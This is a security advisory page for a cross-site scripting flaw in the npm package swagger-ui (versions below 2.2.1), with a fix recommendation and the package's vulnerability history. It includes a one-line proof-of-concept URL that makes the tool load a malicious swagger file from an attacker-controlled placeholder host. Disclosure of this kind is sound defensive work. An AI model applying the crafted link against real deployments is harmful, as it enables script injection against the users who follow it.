Cross-Site Scripting in swagger-ui
Affected versions of swagger-ui are vulnerable to cross-site scripting in both the consumes and produces parameters of the swagger JSON document for a given API.
Additionally, swagger-ui allows users to load arbitrary swagger JSON documents via the query string parameter url, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.
Proof of Concept
http://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.jsonRecommendation
Update to version 2.2.1 or later.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | swagger-ui | < 2.2.1 | 2.2.1 |
References
- Weakness (CWE)
CWE-79- Platform
- npm
- Package
swagger-ui- Disclosed
- 01.09.2020
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7f59-x49p-v8mq - CC BY 4.0
Vulnerability history: swagger-ui
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 14
- First → latest
- 06.2019 05.2022
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 4
- High 1
- Medium 9
Disclosures per year
- 2019: 2
- 2020: 9
- 2021: 1
- 2022: 2
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
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Cross-Site Scripting in swagger-ui this entry
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